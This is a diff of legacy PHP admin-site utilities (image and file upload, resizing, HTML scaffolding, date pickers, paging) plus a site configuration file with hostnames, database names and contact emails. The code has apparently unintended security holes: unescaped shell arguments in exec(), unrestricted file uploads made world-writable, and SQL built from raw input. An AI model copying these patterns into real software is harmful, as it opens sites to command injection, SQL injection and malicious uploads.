+ }
+ if(!defined("MIDSIZED_PATH"))
+ {
+ html_error("this not defined midsized_path",1);
+ }
+ if(!defined("THUMB_PATH"))
+ {
+ html_error("this not defined thumb_path",1);
+ }
+ $image_upload_array = img_upload($image,$image_name,ORIGINAL_PATH);
+ //img_resize($image_upload_array[1],ORIGINAL_PATH.$image_upload_array[0],ITEM_ORIGINAL);
+ img_resize($image_upload_array[1],RESIZED_PATH.$image_upload_array[0],ITEM_RESIZED);
+ img_resize($image_upload_array[1],MIDSIZED_PATH.$image_upload_array[0],ITEM_MIDSIZED);
+ img_resize($image_upload_array[1],THUMB_PATH.$image_upload_array[0],ITEM_THUMB);
+ $image_name = $image_upload_array[0];
+ return($image_name);
+ }
+
+ /**
+ * img_resize :Resizes an image based on a full scale jpeg or gif
+ * @param $image: path to image which needs to be resized
+ * @param $thumb: path where resized image will live
+ * @param $$size : using axis size of new image
+ *
+ * @return array $img_resize_array
+ * @access
+ **/
+ function img_resize($path2image,$path2thumb,$size)
+ {
+ exec( "type convert", $output, $return );
+ if( $return == 0 )
+ {
+ $command = substr( $output[0],11);//
+ $pos = strpos($command,"convert");
+ $Path2GraphicsTools = substr( $command, 0, $pos - 1 );
+ }
+ else
+ {
+ $Path2GraphicsTools = "/usr/X11R6/bin";
+ }
+ $imageName = basename($path2image);
+ $thumbName = basename($path2thumb);
+
+ $Path2GraphicsTools = "/usr/X11R6/bin";
+
+ exec("$Path2GraphicsTools/convert -scale $size $path2image $path2thumb");
+
+ $img_resize_array = array("$imageName","$path2image","$thumbName","$path2thumb");
+ return($img_resize_array);
+ }
+
+ /**
+ * img_upload :Function moves the image to the destination directory
+ Checking to make sure that it does not have same named file in dicectory.
+ Image must be either jpg ,png or gif format file to be uploaded.
+ * @param $form_field: $form_field of image
+ * @param $img_name: $form_field of image with _name
+ * @param $$destination_path : path to store uploaded image
+ *
+ * @return array $img_upload_array
+ * @access
+ **/
+ function img_upload($form_field,$img_name,$destination_path)
+ {
+ if (ereg("[!@#$%^&()+={};:\'\" ]",$img_name))
+ {
+ $img_name = ereg_replace("[!@#$%^&()+={};:\'\" ]","-",$img_name);
+ }
+
+ $size = getImageSize($form_field);
+
+ if( $size[2] == 1 || $size[2] == 2 || $size[2] == 3 )
+ {
+ $i = "0";
+ $d = dir($destination_path);
+ $img_name_in_use = "FALSE";
+ while($entry=$d->read())
+ {
+ if ($entry == $img_name)
+ {
+ $img_name_in_use = "TRUE";
+ }
+ ++$i;
+ }
+ $d->close();
+
+ if ($img_name_in_use == "TRUE")
+ {
+ $new_img_name = mktime().$img_name;
+ $new_img_location = $destination_path.'/'.$new_img_name;
+
+ copy($form_field,$new_img_location);
+
+ chmod($new_img_location, 0666);
+
+ $img_upload_array = array("$new_img_name","$new_img_location");
+ }
+ else
+ {
+ $new_img_name = $img_name;
+ $new_img_location = $destination_path.'/'.$new_img_name;
+
+ copy($form_field,$new_img_location);
+
+ chmod($new_img_location, 0666);
+
+ $img_upload_array = array("$new_img_name","$new_img_location");
+ }
+ }
+ else
+ {
+ echo '<p style="background-color:red;color:white;">'
+ .'The file you uploaded was of an incorect type, please only upload .gif,.png or .jpg files'
+ .'<BR CLEAR=ALL>'
+ .'</p>'
+ ."Hit your browser's back button to continue"
+ .'<P>';
+ $error[0] = "ERROR";
+ return($error);
+ }
+
+ return($img_upload_array);
+ }
+
+ /**
+ * file_upload :Uploads a file same way as image_uploads does
+ * @param $form_field: $form_field of image
+ * @param $file_name: $form_field of image with _name
+ * @param $$destination_path : path to store uploaded image
+ *
+ * @return string $file_upload
+ * @access
+ **/
+ function file_upload($form_field,$file_name,$destination_path)
+ {
+ if (ereg("[!@#$%^&()+={};:\'\" ]",$file_name))
+ {
+ $file_name = ereg_replace("[!@#$%^&()+={};:\'\" ]","_",$file_name);
+ }
+
+ $i = "0";
+ $d = dir($destination_path);
+ $file_name_in_use = "FALSE";
+ while($entry=$d->read())
+ {
+ if ($entry == $file_name)
+ {
+ $file_name_in_use = "TRUE";
+ }
+ ++$i;
+ }
+ $d->close();
+
+ if ($file_name_in_use == "TRUE")
+ {
+ $new_file_name = mktime().$file_name;
+ $new_file_location = $destination_path.'/'.$new_file_name;
+
+ copy($form_field,$new_file_location);
+
+ chmod($new_file_location, 0666);
+
+ $file_upload = $new_file_name;
+ }
+ else
+ {
+ $new_file_name = $file_name;
+ $new_file_location = $destination_path.'/'.$new_file_name;
+
+ copy($form_field,$new_file_location);
+
+ chmod($new_file_location, 0666);
+
+ $file_upload = $new_file_name;
+ }
+ return($file_upload);
+ }
+
+ /* Misc. Functions */
+
+ /**
+ * http_strip :Strips the http:// part from start of string
+ * @param $&$string : $string
+ *
+ * @return string $stirng minus http:// in front
+ * @access
+ **/
+ function http_strip(&$string)
+ {
+ $test_string = strtolower($string);
+ if(substr($test_string,0,7) == "http://")
+ {
+ $string = substr($string,7);
+ }
+ }
+
+ /**
+ * footer : used for admin page footer to close out the top function
+ *
+ * @return void
+ * @access
+ **/
+ function footer()
+ {
+ ?>
+ </td>
+ </tr>
+ </table>
+ <!----------------- COPYRIGHT LINE ------------------->
+ <hr width=680 noshade size="1">
+ <div class="footer">
+ <i>Produced by</i>
+ <a href="http://www.gaslightmedia.com/" target=blank><span style="color:#5070A0;font-size:10px;">
+ <i>Gaslight Media</i></span></a>
+ <i>All Rights Reserved</i></div>
+ </body>
+ </html>
+ <?
+ }
+
+ /**
+ * top :Output the starting html and admin table tags
+ * @param $message: The title
+ * @param $hp: The help file to use
+ * @param $$hp2 = NULL : The help file to use (links to gaslightmedia.com)
+ *
+ * @return void
+ * @access
+ **/
+ function top($message, $hp,$hp2 = NULL)
+ {
+ ?>
+ <html>
+ <head>
+ <title></title>
+ <link type="text/css" rel=stylesheet href=<?echo URL_BASE?>admin/main.css>
+ <script src="<?echo URL_BASE."admin/wm.js"?>"></script>
+ <?
+ echo '
+ <script type="text/javascript" language="JavaScript">
+ _editor_url = "'.URL_BASE.'admin/htmlarea/";
+ </script>';
+
+ echo '<script type="text/javascript" src="'.URL_BASE.'admin/htmlarea/htmlarea.js"></script>';
+ echo '<script type="text/javascript" src="'.URL_BASE.'admin/htmlarea/lang/en.js"></script>';
+ echo '<script type="text/javascript" src="'.URL_BASE.'admin/htmlarea/dialog.js"></script>';
+ echo '<link type="text/css" rel=stylesheet href="'.URL_BASE.'admin/htmlarea/htmlarea.css">';
+ ?></head>
+ <BODY BGCOLOR="#FFFFFF" LINK="#000080" VLINK="#000080" ALINK="#000080">
+ <TABLE width=500 align="center" BGCOLOR="#C0C0C0" CELLPADDING=2 CELLSPACING=0 BORDER=2>
+ <TR>
+ <TD BGCOLOR="#003366">
+ <TABLE BGCOLOR="#C0C0C0" CELLPADDING=0 CELLSPACING=0 BORDER=0 WIDTH="100%">
+ <TR>
+ <TD BGCOLOR="#003366">
+ <TABLE CELLPADDING=0 CELLSPACING=0 BORDER=0 ALIGN=LEFT>
+ <tr>
+ <TD> </TD>
+ </tr>
+ </TABLE>
+
+ <div class="topheader">
+ <?echo $message?></div>
+ </TD>
+ <TD BGCOLOR="#003366" ALIGN=RIGHT valign="top">
+ <TABLE CELLPADDING=0 CELLSPACING=0 BORDER=0 ALIGN=RIGHT>
+ <tr>
+ <TD nowrap="nowrap">
+ <?php
+ if($hp2 != "")
+ {
+ echo '<a style="color:white;"
+ href="http://www.gaslightmedia.com/manuals/html/'.$hp2.'.html"
+ target="_blank">Online Help Guide</a> ';
+ echo '<a style="color:white;"
+ href="http://www.gaslightmedia.com/manuals/pdf/'.$hp2.'.pdf"
+ target="_blank">Printable Help Guide</a>';
+ }
+ else
+ {
+ ?>
+ <script lang="javascript">
+ var o = new Object();
+ o.url = "<?echo $hp?>";
+ o.popup = '1';
+ o.popup.name = 'Help';
+ o.width = 300;
+ o.height = 500;
+ o.scroll = true;
+ </script>
+ <A HREF="" onClick="glm_open(o); return(false);">
+ <IMG SRC="<?echo URL_BASE."images/help.gif"?>" BORDER=0></A>
+ <?php
+ }
+ ?>
+ </TD>
+ </tr>
+ </TABLE>
+ </TD>
+ </TR>
+ </TABLE>
+ </TD>
+ </TR>
+ <TR>
+
+ <TD>
+ <?
+ }
+
+ /**
+ * top2 : alias to top()
+ * @param $message: message title
+ * @param $hp: help file
+ * @param $$hp2 = NULL : gaslight help file
+ *
+ * @return
+ * @access
+ **/
+ function top2($message, $hp,$hp2 = NULL)
+ {
+ // make this an alias to top()
+ // by calling top instead of adding extra code
+ top($message,$hp,$hp2);
+
+ }
+
+ /********************************************************************************
+ *
+ * DO NOT EDIT THIS SECTION
+ *
+ ********************************************************************************/
+
+ if( $DEBUG )
+ {
+ echo '<CENTER>
+ <TABLE BORDER=0 CELLPADDING=3 CELLSPACING=1 WIDTH=600 BGCOLOR="#000000" ALIGN="CENTER">
+ <TR VALIGN="middle" BGCOLOR="#9999CC">
+ <TD COLSPAN="2" ALIGN="center"><H1>Portable Site Data - setup.phtml </H1></TD>
+ </TR>
+ <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+ <TD BGCOLOR="#CCCCFF" ><B>CVS Version Id:</B></TD>
+ <TD ALIGN="left">$Id: setup.phtml,v 1.2 2010/08/22 14:36:27 cscott Exp $</TD>
+ </TR>
+ <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+ <TD BGCOLOR="#CCCCFF" ><B>SITENAME</B></TD>
+ <TD ALIGN="left">'.SITENAME.'</TD>
+ </TR>
+ <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+ <TD BGCOLOR="#CCCCFF" ><B>BASE</B></TD>
+ <TD ALIGN="left">'.BASE.'</TD>
+ </TR>
+ <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+ <TD BGCOLOR="#CCCCFF" ><B>UP_BASE</B></TD>
+ <TD ALIGN="left">'.UP_BASE.'</TD>
+ </TR>
+ <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+ <TD BGCOLOR="#CCCCFF" ><B>HELP_BASE</B></TD>
+ <TD ALIGN="left">'.HELP_BASE.'</TD>
+ </TR>
+ <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+ <TD BGCOLOR="#CCCCFF" ><B>IMG_BASE</B></TD>
+ <TD ALIGN="left">'.IMG_BASE.'</TD>
+ </TR>
+ <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+ <TD BGCOLOR="#CCCCFF" ><B>URL_BASE</B></TD>
+ <TD ALIGN="left">'.URL_BASE.'</TD>
+ </TR>
+ <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+ <TD BGCOLOR="#CCCCFF" ><B>CONN_STR</B></TD>
+ <TD ALIGN="left">'.CONN_STR.'</TD>
+ </TR>
+ <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+ <TD BGCOLOR="#CCCCFF" ><B>STYLE</B></TD>
+ <TD ALIGN="left">'.STYLE.'</TD>
+ </TR>
+ <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+ <TD BGCOLOR="#CCCCFF" ><B>ORIGINAL_PATH</B></TD>
+ <TD ALIGN="left">'.ORIGINAL_PATH.'</TD>
+ </TR>
+ <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+ <TD BGCOLOR="#CCCCFF" ><B>RESIZED_PATH</B></TD>
+ <TD ALIGN="left">'.RESIZED_PATH.'</TD>
+ </TR>
+ <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+ <TD BGCOLOR="#CCCCFF" ><B>MIDSIZED_PATH</B></TD>
+ <TD ALIGN="left">'.MIDSIZED_PATH.'</TD>
+ </TR>
+ <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+ <TD BGCOLOR="#CCCCFF" ><B>THUMB_PATH</B></TD>
+ <TD ALIGN="left">'.THUMB_PATH.'</TD>
+ </TR>
+ <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+ <TD BGCOLOR="#CCCCFF" ><B>ORIGINAL</B></TD>
+ <TD ALIGN="left">'.ORIGINAL.'</TD>
+ </TR>
+ <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+ <TD BGCOLOR="#CCCCFF" ><B>RESIZED</B></TD>
+ <TD ALIGN="left">'.RESIZED.'</TD>
+ </TR>
+ <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+ <TD BGCOLOR="#CCCCFF" ><B>MIDSIZED</B></TD>
+ <TD ALIGN="left">'.MIDSIZED.'</TD>
+ </TR>
+ <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+ <TD BGCOLOR="#CCCCFF" ><B>THUMB</B></TD>
+ <TD ALIGN="left">'.THUMB.'</TD>
+ </TR>
+ <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+ <TD BGCOLOR="#CCCCFF" ><B>$CALLED_FROM_DIR</B></TD>
+ <TD ALIGN="left">'.$CALLED_FROM_DIR.' </TD>
+ </TR>
+ <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+ <TD BGCOLOR="#CCCCFF" ><B>$BASE_PATH</B></TD>
+ <TD ALIGN="left">'.$BASE_PATH.'</TD>
+ </TR>
+ <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+ <TD BGCOLOR="#CCCCFF" ><B>$BASE_URL</B></TD>
+ <TD ALIGN="left"><A HREF="'.$BASE_URL.'">'.$BASE_URL.'</A></TD>
+ </TR>
+ <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+ <TD BGCOLOR="#CCCCFF" ><B>$BASE_SECURE_URL</B></TD>
+ <TD ALIGN="left">'.$BASE_SECURE_URL.'</TD>
+ </TR>
+ </TABLE>
+
+ <P>
+ <HR WIDTH="600">
+ <P>
+ </CENTER>
+ ';
+
+ }
+
+ /**
+ * htmlcode: Output code to enable htmlarea for the page
+ * MUST BE CALLED AFTER TEXTAREAS ON PAGE
+ * @param $$w = 570: width of htmlarea in px
+ * @param $$h = 400: height of htmlarea in px
+ *
+ * @return void
+ * @access
+ **/
+ function htmlcode($w = 570,$h = 400)
+ {
+ echo '
+<style type="text/css">
+ /*<![CDATA[*/
+ <!--
+ .textarea { height: '.$h.' px; width: '.$w.' px; }
+ -->
+ /*]]>*/
+ </style>
+<script type="text/javascript">
+ //<![CDATA[
+ _editor_url = "'.URL_BASE.'admin/htmlarea";
+ _editor_lang = "en";
+ //]]>
+ </script><!-- load the main HTMLArea file -->
+ <script type="text/javascript" src="'.URL_BASE.'admin/htmlarea/htmlarea.js">
+ </script>
+';
+ echo '
+ <script type="text/javascript">
+ //<![CDATA[
+
+ //HTMLArea.loadPlugin("ImageManager");
+ // HTMLArea.loadPlugin("CSS");
+ HTMLArea.loadPlugin("ContextMenu");
+ HTMLArea.loadPlugin("TableOperations");
+ initdocument = function () {
+ var editor = new HTMLArea("description");
+
+ // add a contextual menu
+ editor.registerPlugin("ContextMenu");
+
+ // load the stylesheet used by our CSS plugin configuration
+ editor.config.pageStyle = "@import url(../../styles.css);";
+
+ // register the SpellChecker plugin
+ editor.registerPlugin(TableOperations);
+ editor.generate();
+ }
+ function addEvent(obj, evType, fn)
+ {
+ if (obj.addEventListener) { obj.addEventListener(evType, fn, true); return true; }
+ else if (obj.attachEvent) { var r = obj.attachEvent("on"+evType, fn); return r; }
+ else { return false; }
+ }
+ addEvent(window, \'load\', initdocument);
+ //]]>
+ </script>
+ ';
+ }
+
+ /**
+ * date_entry : Generate the select boxes for date entry
+ * month-day-year as drop down select
+ * @param $month:
+ * @param $day:
+ * @param $year:
+ * @param $month_name: name of select month
+ * @param $day_name: name of select day
+ * @param $$year_name : name of select year
+ *
+ * @return
+ * @access
+ **/
+ function date_entry($month,$day,$year,$month_name,$day_name,$year_name)
+ {
+ $cur_date = getdate();
+
+ if($month == "")
+ {
+ $month = $cur_date['mon'];
+ }
+ if($day == "")
+ {
+ $day = $cur_date['mday'];
+ }
+ if($year == "")
+ {
+ $year = $cur_date['year'];
+ }
+ $date = '<SELECT NAME="'.$month_name.'">';
+ for($i=1;$i<13;$i++)
+ {
+ $date .= '<OPTION VALUE="';
+ if($i < 10)
+ {
+ $date .= "0";
+ }
+ $date .= $i.'"';
+ if($i == $month)
+ {
+ $date .= ' SELECTED';
+ }
+ $date .= '>'.$i;
+ }
+ $date .= '</SELECT>';
+ $date .= '<SELECT NAME="'.$day_name.'">';
+ for($i=1;$i<32;$i++)
+ {
+ $date .= '<OPTION VALUE="';
+ if($i < 10)
+ {
+ $date .= "0";
+ }
+ $date .= $i.'"';
+ if($i == $day)
+ {
+ $date .= ' SELECTED';
+ }
+ $date .= '>'.$i;
+ }
+ $date .= '</SELECT>';
+ $date .= '<SELECT NAME="'.$year_name.'">';
+ for($i=2000;$i<2023;$i++)
+ {
+ $date .= '<OPTION VALUE="'.$i.'"';
+ if($i == $year)
+ {
+ $date .= ' SELECTED';
+ }
+ $date .= '>'.$i;
+ }
+ $date .= '</SELECT>';
+ return $date;
+ }
+
+ /**
+ * contact_date_entry : build select boxes for date entry going backwords in years
+ * @param $month:
+ * @param $day:
+ * @param $year:
+ * @param $month_name: name of select month
+ * @param $day_name: name of select day
+ * @param $$year_name : name of select year
+ *
+ * @return void
+ * @access
+ **/
+ function contact_date_entry($month,$day,$year,$month_name,$day_name,$year_name)
+ {
+ $cur_date = getdate();
+
+ if($month == "")
+ {
+ $month = $cur_date['mon'];
+ }
+ if($day == "")
+ {
+ $day = $cur_date['mday'];
+ }
+ if($year == "")
+ {
+ $year = $cur_date['year'];
+ }
+ $date = '<SELECT NAME="'.$month_name.'">';
+ for($i=1;$i<13;$i++)
+ {
+ $date .= '<OPTION VALUE="';
+ if($i < 10)
+ {
+ $date .= "0";
+ }
+ $date .= $i.'"';
+ if($i == $month)
+ {
+ $date .= ' SELECTED';
+ }
+ $date .= '>'.$i;
+ }
+ $date .= '</SELECT>';
+ $date .= '<SELECT NAME="'.$day_name.'">';
+ for($i=1;$i<32;$i++)
+ {
+ $date .= '<OPTION VALUE="';
+ if($i < 10)
+ {
+ $date .= "0";
+ }
+ $date .= $i.'"';
+ if($i == $day)
+ {
+ $date .= ' SELECTED';
+ }
+ $date .= '>'.$i;
+ }
+ $date .= '</SELECT>';
+ $date .= '<SELECT NAME="'.$year_name.'">';
+ $ystart = $cur_date['year'] - 10;
+ for($i=$ystart;$i<=$year;$i++)
+ {
+ $date .= '<OPTION VALUE="'.$i.'"';
+ if($i == $year)
+ {
+ $date .= ' SELECTED';
+ }
+ $date .= '>'.$i;
+ }
+ $date .= '</SELECT>';
+ return $date;
+ }
+
+ /**
+ * time_entry : build select boxes for time entry
+ * @param $H:
+ * @param $m:
+ * @param $F:
+ * @param $H_name: name of select hour
+ * @param $m_name: name of select min
+ * @param $$F_name : name of select sec
+ *
+ * @return
+ * @access
+ **/
+ function time_entry($H,$m,$F,$H_name,$m_name,$F_name)
+ {
+ $cur_date = getdate();
+
+ if($H == "")
+ {
+ $H = $cur_date['hours'];
+ }
+ if($m == "")
+ {
+ $m = $cur_date['minutes'];
+ }
+ if($H>12)
+ {
+ $F = "PM";
+ $H = $H - 12;
+ }
+ $time = "Hr:<SELECT NAME=\"$H_name\" size=\"1\">";
+ for($i=1;$i<=12;$i++)
+ {
+ $time .= "<OPTION VALUE=\"";
+ if($i < 10)
+ {
+ $time .= "0";
+ }
+ $time .= "$i\"";
+ if($i == $H)
+ {
+ $time .= " SELECTED";
+ }
+ $time .= ">$i\n";
+ }
+ $time .= "</SELECT>\n";
+ $time .= "Min:<SELECT NAME=\"$m_name\" size=\"1\">";
+ for($i=0;$i<60;$i=$i+15)
+ {
+ $time .= "<OPTION VALUE=\"";
+ if($i < 10)
+ {
+ $time .= "0";
+ }
+ $time .= "$i\"";
+ if($i == $m)
+ {
+ $time .= " SELECTED";
+ }
+ $time .= ">";
+ if($i < 10)
+ {
+ $time .= "0";
+ }
+ $time .= "$i\n";
+ }
+ $time .= "</SELECT>";
+ $time .= "<SELECT NAME=\"$F_name\" size=\"1\">";
+ $time .= "<OPTION VALUE=\"AM\"";
+ if($F == "AM")
+ {
+ $time .= " SELECTED";
+ }
+ $time .= ">AM\n";
+ $time .= "<OPTION VALUE=\"PM\"";
+ if($F == "PM")
+ {
+ $time .= " SELECTED";
+ }
+ $time .= ">PM\n";
+ $time .= "</SELECT>\n";
+ return $time;
+ }
+
+ /**
+ * get_parentid: get the (highest level) parent category for this id
+ * @param $id: id from bus_category table
+ *
+ * @return int parent
+ * @access
+ **/
+ function get_parentid( $id )
+ {
+ static $parentshow;
+ if( $id == 0 )
+ {
+ return( 0 );
+ }
+ if(!is_array($parentshow))
+ {
+ $qs = "select parent from bus_category where id = $id";
+ $parentrow = db_auto_get_data( $qs );
+ }
+ if($parentrow[0]['parent'] == 0)
+ {
+ return($id);
+ }
+ else
+ {
+ return( get_parentid($parentrow[0]['parent']) );
+ }
+ }
+
+ /**
+ * build_picklist:Builds a pick list from an array
+ * @param $fieldname: fieldname field name for select
+ * @param $data: data array of data
+ * @param $selected: selected witch element is selected
+ * @param $$type = "standard": type Standard,multi
+ * @param $$auto = 0: auto
+ * @param $$width = NULL : width width controlled by css
+ *
+ * @return void
+ * @access
+ **/
+ function build_picklist( $fieldname, $data, $selected, $type = "standard",$auto = 0,$width = NULL )
+ {
+ if(!is_array($selected))
+ {
+ $sel[0] = $selected;
+ }
+ else
+ {
+ $sel = $selected;
+ }
+ if($auto == 1)
+ $autosubmit = "onChange=\"form.submit()\"";
+ if($width)
+ $autosubmit .= "style=\"width:".$width."px;\"";
+ switch( $type )
+ {
+ case "multiple":
+ $str = "<SELECT NAME=\"".$fieldname."\" multiple size=\"10\" ".$autosubmit.">\n";
+ while( list($key, $val) = each($data) )
+ {
+ if( in_array($key,$sel) )
+ {
+ $select = " SELECTED ";
+ }
+ else
+ $select = "";
+ $str .= " <OPTION VALUE=\"$key\"".$select.">$val\n";
+ }
+ break;
+ case "simple":
+ $str = "<SELECT NAME=\"$fieldname\" ".$autosubmit.">\n";
+ for( $i=0 ; $i<count($data) ; $i++ )
+ {
+ $select = (in_array($data[$i],$sel)) ? " SELECTED ":"";
+ $str .= " <OPTION VALUE=\"".$data[$i]."\"".$select.">".$data[$i]."\n";
+ }
+ break;
+
+ case "standard":
+ default:
+ $str = "<SELECT NAME=\"$fieldname\" ".$autosubmit.">\n";
+ while( list($key, $val) = each($data) )
+ {
+ $select = (in_array($key,$sel)) ? " SELECTED ":"";
+ $str .= " <OPTION VALUE=\"$key\"".$select.">$val\n";
+ }
+ break;
+ }
+ $str .= "</SELECT>\n";
+
+ return( $str );
+
+ }
+
+ /**
+ * create_page_links:Create prev and next links
+ * to page through the results.
+ * @param $totalnum: The total result of the query
+ * @param $num: The total result for the page
+ * @param $$start=0: The starting num defaults to 0
+ * @param $params: variables to add to the url
+ * @param $ENTRIES_PER_PAGE: number of items on page defaults to the ENTRIES_PER_PAGE
+ *
+ * @return string of links
+ * @access
+ **/
+ function create_page_links($totalnum,$num,$start=0,$params,$page_length=ENTRIES_PER_PAGE)
+ {
+ // find out which page we're on.
+ if($totalnum!=0)
+ {
+ $total_pages = floor($totalnum / $page_length); // total pages = the total result divided by page length rounded down
+ $total_pages++; // then add one
+ if($start == 0) // if start is 0 then page is one
+ {
+ $page = 1;
+ }
+ else
+ {
+ $page = ($start / $page_length) + 1;
+ }
+ }
+
+ if($totalnum > $page_length && ( $page != $totalpages ) )
+ {
+ $end = $page_length + $start;
+ }
+ else
+ {
+ $end = $totalnum;
+ }
+ $last = $start - $page_length;
+ if(($start - $page_length) < 0)
+ $prev = "";
+ else
+ $prev = "<span class=\"accenttext\">[</span><a class=\"small\"
+ href=\"$GLOBALS[PHP_SELF]?start=".$last."&$params\">PREVIOUS PAGE</a><span
+ class=\"accenttext\"> ]</span>";
+ if($end < $totalnum)
+ $next = "<span class=\"accenttext\">[</span><a class=\"small\"
+ href=\"$GLOBALS[PHP_SELF]?start=".$end."&$params\">NEXT PAGE</a><span
+ class=\"accenttext\"> ]</span>";
+ else
+ $next = "";
+ $starting = $start + 1;
+ $last_c = $start + $num;
+ $links = '<center><span class="pagetitle">Listings Displayed: </span><span
+ class="accenttext">'.$starting.' to '.$last_c.'</span>
+ <span class="pagetitle"> of '.$totalnum.'<br></span> '.$prev. ' <span
+ class="pagetitle"></span> '.$next.'<BR></span></center>';
+ return($links);
+ }
+ }
+?>
--- /dev/null
+<?
+
+/********************************************************************************
+ *
+ * FILE: siteinfo.inc - Portable site information
+ *
+ * Copyright (C) 2002 - Gaslight Media - All Rights Reserved
+ *
+ ********************************************************************************/
+
+if( !defined("SITEINFO") )
+{
+
+define( "SITEINFO", TRUE ); // Indicate that this file has been referenced
+
+/* These are now defined in the Dynamic section below
+define( "SI_DEBUG", 0 ); // Debug Level : 0=Off, 1, 2, 3, ... more debug info
+define( "SI_DEBUG_VIEW", TRUE ); // Display pop-up summary of data passed to parse_view()
+define( "GLMPDF_DEBUG", FALSE ); // Overlays output forms with calibration grid
+*/
+
+/********************************************************************************
+ *
+ * DO NOT EDIT THIS SECTION
+ *
+ ********************************************************************************/
+
+ // Find where this file is located
+
+$si_base_path = dirname( __FILE__ ); // Get Path where siteinfo resides
+$si_calling_script_name = basename( $SCRIPT_NAME ); // Get name of calling script
+
+$si_called_from_dir = substr( dirname($_SERVER["SCRIPT_FILENAME"]), strlen($si_base_path) );
+
+if( ($x = strlen($si_called_from_dir)) > 0 )
+ $si_base_url = $HTTP_HOST.substr( dirname($SCRIPT_NAME), 0, -strlen($si_called_from_dir) );
+ else
+ {
+ $si_script_name_dir = dirname($SCRIPT_NAME);
+ if( $si_script_name_dir == "/" )
+ $si_script_name_dir = "";
+ $si_base_url = $HTTP_HOST.$si_script_name_dir;
+ }
+
+$si_base_secure_url = "https://".$si_base_url;
+$si_base_insecure_url = "http://".$si_base_url;
+
+if( $HTTPS == "on" )
+ $si_base_url = "https://".$si_base_url;
+ else
+ $si_base_url = "http://".$si_base_url;
+
+
+/********************************************************************************
+ *
+ * Dynamic Configuration - Parameters that DO change based on location
+ *
+ ********************************************************************************/
+
+switch( $GLM_SERVER_ID )
+ {
+
+ case "ChuckAtHome.gaslightmedia.com":
+ case "chuckweb.gaslightmedia.com":
+ $si_base_secure_url = $si_base_url;
+ define( "SI_DB_HOST", "" );
+ define( "SI_DB_NAME", "n8dnx" );
+ define( "SI_CUSTOMER_EMAIL", "cscott@localhost" );
+ define( "SI_CUSTOMER_INTERNAL_EMAIL", "cscott@localhost" );
+ define( "SI_DEBUG", 0 );
+ define( "SI_DEBUG_VIEW", TRUE );
+ define( "SI_DEBUG_MAIL", TRUE );
+ define( 'SI_PATH_TO_GRAPHICS_TOOLS', '/usr/bin' );
+ define( 'GPG_HOME', '/var/www/.gnupg' ); // Path to home directory for gpg to use
+ define( 'GPG_KEY_ID', '2B06862A87605EAE' ); // Key ID for public key to use
+ break;
+
+ case "devsys.gaslightmedia.com":
+ $si_base_secure_url = $si_base_url;
+ define( "SI_DB_HOST", "devsys.gaslightmedia.com" );
+ define( "SI_DB_NAME", "n8dnx" );
+ define( "SI_CUSTOMER_EMAIL", "info@n8dnx.org" );
+ define( "SI_CUSTOMER_INTERNAL_EMAIL", "cscott@n8dnx.org" );
+ define( "SI_DEBUG", 0 );
+ define( "SI_DEBUG_VIEW", FALSE );
+ define( "SI_DEBUG_MAIL", TRUE );
+ define( 'SI_PATH_TO_GRAPHICS_TOOLS', '/usr/bin' );
+ define( 'GPG_HOME', '/var/www/.gnupg' ); // Path to home directory for gpg to use
+ define( 'GPG_KEY_ID', '2B06862A87605EAE' ); // Key ID for public key to use
+ break;
+
+ case "ws1.gaslightmedia.com":
+ $si_base_secure_url = "(none)";
+ $si_base_insecure_url = "http://www.n8dnx.org";
+ define( "SI_DB_HOST", "ds4.gaslightmedia.com" );
+ define( "SI_DB_NAME", "n8dnx" );
+ define( "SI_CUSTOMER_EMAIL", "info@n8dnx.org" );
+ define( "SI_CUSTOMER_INTERNAL_EMAIL", "cscott@n8dnx.org,dscott@upnorth.net" );
+ define( "SI_DEBUG", 0 );
+ define( "SI_DEBUG_VIEW", FALSE );
+ define( "SI_DEBUG_MAIL", FALSE );
+ define( 'SI_PATH_TO_GRAPHICS_TOOLS', '/usr/X11R6/bin' );
+ define( 'GPG_HOME', '/var/www/.gnupg' ); // Path to home directory for gpg to use
+ define( 'GPG_KEY_ID', '2B06862A87605EAE' ); // Key ID for public key to use
+ break;
+
+ default: // There should be no need for any settings here
+ break;
+
+ }
+
+/********************************************************************************
+ *
+ * General Definitions
+ *
+ ********************************************************************************/
+
+
+define( "SI_SERVER", $HTTP_HOST ); // Host name of server
+define( "SI_BASE_PATH", $si_base_path ); // Path to root of site
+define( "SI_CALLED_FROM_DIR", $si_called_from_dir ); // Directory where current executing file exists
+define( "SI_BASE_URL", $si_base_url ); // URL to root of Web site
+define( "SI_BASE_SECURE_URL", $si_base_secure_url ); // URL to root of Secure Web site
+define( "SI_BASE_INSECURE_URL", $si_base_insecure_url ); // URL to root of Insecure Web site
+define( "SI_GLM_APPS", $si_base_url."/glm_apps" ); // GLM misc application modules URL
+define( "SI_GLM_SECURE_APPS", $si_base_secure_url."/glm_apps" ); // GLM misc application modules URL - Secure
+define( "SI_THIS_SCRIPT", $si_calling_script_name ); // The name of the calling script
+
+define( "SI_DB_USER", "nobody" );
+define( "SI_DB_TYPE", "postgres" );
+define( "SI_CONN_STR", "host='".SI_DB_HOST."' dbname='".SI_DB_NAME."' user='".SI_DB_USER."'" );
+define( "SI_DB_DATE_STYLE", "SQL" );
+ // ISO - use ISO 8601-style dates and times, "1997-12-17 07:37:16-08"
+ // SQL - use Oracle/Ingres-style dates and times, "12/17/1997 07:37:16.00 PST"
+ // Postgres - use traditional Postgres format, "Wed Dec 17 07:37:16 1997 PST"
